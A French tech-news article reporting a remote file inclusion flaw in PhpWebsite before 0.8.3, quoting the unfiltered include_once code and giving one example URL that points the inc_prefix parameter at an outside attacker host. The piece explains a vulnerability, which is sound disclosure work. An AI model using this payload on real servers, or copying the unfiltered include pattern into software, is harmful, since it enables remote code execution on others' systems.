Info-Mods
Mardi 13 octobre 2026 La passion du hardware depuis 2002
Logiciels, systèmes & sécurité
Flux RSS Imprimer

Une faille dans PhpWebsite

PhpWebsite est un outil qui permet aux développeurs de créer des plugins en php. Cependant, une faille de sécurité a été découverte : les versions avant la version 0.8.3 permettent l'exécution de n'importe quel script...

D'où vient la faille ? Du fichier modsecurity.php :

global $inc_prefix;
if(!$inc_prefix)
{}
include_once($inc_prefix."htmlheader.php");

Comme vous le voyez dans le code, aucun filtre n'a été prévu, offrant donc une faille grosse comme une maison en fournissant comme paramètre un chemin vers un script mal attentionné (ex : http://serveur.com/include_once.php?inc_prefix=http://www.tout-casser.com/

Source : Yacapa.com

Dans les boutiques Vous cherchez un produit similaire ?

Consultez les offres Amazon correspondant à « logiciel PC ».

Lien partenaire Amazon — Info-Mods peut percevoir une commission sur les achats éligibles.
Voir les offres sur Amazon Recherche : logiciel PC
C

Commentaires

0 commentaires Flux RSS

Aucun commentaire pour le moment.

Commenter en tant que visiteur Choisissez un pseudo et participez directement. Les membres identifiés ne sont pas soumis aux limites anti-flood.
1/min · 3/15 min
☺

Toutes les émoticônes

209 disponibles — cliquez sur une émoticône pour l’insérer.